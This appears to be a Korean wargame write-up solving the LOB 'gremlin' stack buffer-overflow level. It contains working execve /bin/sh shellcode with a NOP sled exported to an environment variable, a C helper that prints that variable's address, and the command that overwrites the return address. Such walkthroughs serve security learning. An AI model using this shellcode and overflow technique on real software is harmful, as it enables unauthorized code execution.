1. 소스코드 보고 strcpy 취약점 확인. buffer크기는 256확인.
2. gdb -q gremlin
disas main
으로 할당된 스택크기 확인(0x100)이므로 정확히 256할당됨. gcc버전 2.96이하에서는 dummy가 붙지
않는다함.)
buffer |
sfp |
ret |
256 |
4 |
4 |
3. 앞에 적어놓은 쉘코드 제작방법으로 쉘코드 제작.
4. export shell=`python -c 'print "\x90"*30+"\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`
등으로 쉘코드를 환경변수 shell에 등록 (앞에붙는 nop30개는 오차 수정하기 위해서 붙인듯. 실험해본 결과 20개도 제대로 나오고, 200개도 제대로 나오는걸 확인.)
5.
#include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { char *addr = getenv(argv[1]); printf("address = %p\n",addr); return 0; }
등으로 환경변수의 주소 알아내는 코드 제작. 컴파일후 ./getadd shell등으로 환경변수 주소 확인.
ret를 여기로 덮어씌운다고 생각하면됨. (address = 0xbfffff0d 출력됨.)
6. ./gremlin `python -c 'print "a"*260+"\x0d\xff\xff\xbf"'`
같이 260 후 ret를 0xbfffff0d로 덮어씌움.
'systemhacking > practice' 카테고리의 다른 글
lob orge->troll (0) | 2015.01.15 |
---|---|
lob darkelf->orge (0) | 2015.01.09 |
lob wolfman->darkelf (0) | 2015.01.05 |
lob goblin->orc (0) | 2015.01.04 |
ftz level9,11 (0) | 2014.12.28 |